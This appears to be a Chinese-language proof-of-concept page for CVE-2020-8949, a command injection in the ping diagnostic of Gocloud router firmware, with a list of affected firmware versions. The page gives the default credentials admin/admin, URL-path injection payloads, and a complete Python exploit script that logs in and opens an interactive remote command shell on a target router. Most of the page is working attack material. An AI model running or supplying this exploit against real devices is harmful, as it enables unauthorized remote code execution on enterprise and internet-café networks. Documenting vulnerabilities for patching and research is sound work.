# CVE-2020-8949 Gocloud 高恪固件 RCE
# 漏洞简介
Gocloud 路由器,后台 ping 命令存在命令注入,该路由器常用于企业或者网吧
# 影响版本
- GOCLOUD S2A_WL - 固件版本 4.2.7.16471
- GOCLOUD S2A - 固件版本 4.2.7.17278
- GOCLOUD S2A - 固件版本 4.3.0.15815
- GOCLOUD S2A - 固件版本 4.3.0.17193
- GOCLOUD S3A(K2P MTK 版本)- 固件版本 4.2.7.16528
- GOCLOUD S3A - 固件版本 4.3.0.16572
- GOCLOUD ISP3000 英特尔 ® 至强 ®E5-2660 - 固件版本 4.3.0.17190
# 漏洞复现
使用弱口令登录:admin/admin
命令注入存在的地方
bp 抓包可查看请求过程
注入 payload
1 2 3
| /cgi-bin/webui/admin/tools/app_ping/diag_ping/;ifconfig%202%3E&1;/5/6/a.com_
/cgi-bin/webui/admin/tools/app_ping/diag_ping/;ifconfig 2>&1;/5/6/a.com_
|
执行的是 ifconfig
命令
附上 exp 脚本(来源网络):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
|
import requests import time from urllib.parse import quote
def execute_command(command, TARGET): try: url = TARGET + "/cgi-bin/webui" timestamp = str(time.time()).split(".")[0] request1 = requests.session() login = {"csrftoken": "MTU5MzQ5NjI5MEdPQ0xPVUQ=", "password": "admin", "timestamp": "1593496290", "username": "admin"} r = request1.post(url, data=login, verify=False, timeout=10) print(r.status_code) url2 = TARGET + quote("/cgi-bin/webui/admin/tools/app_ping/diag_ping/ ;" + command + " 2>&1; /5/6/a.com_") r2 = request1.post(url2, verify=False, timeout=10) print(r2.url) print(r2.text) except Exception as e: print(e)
if __name__ == '__main__': command = 'id' url = input("Url >>> ") while True: execute_command(command,url) command = input("~$: ")
|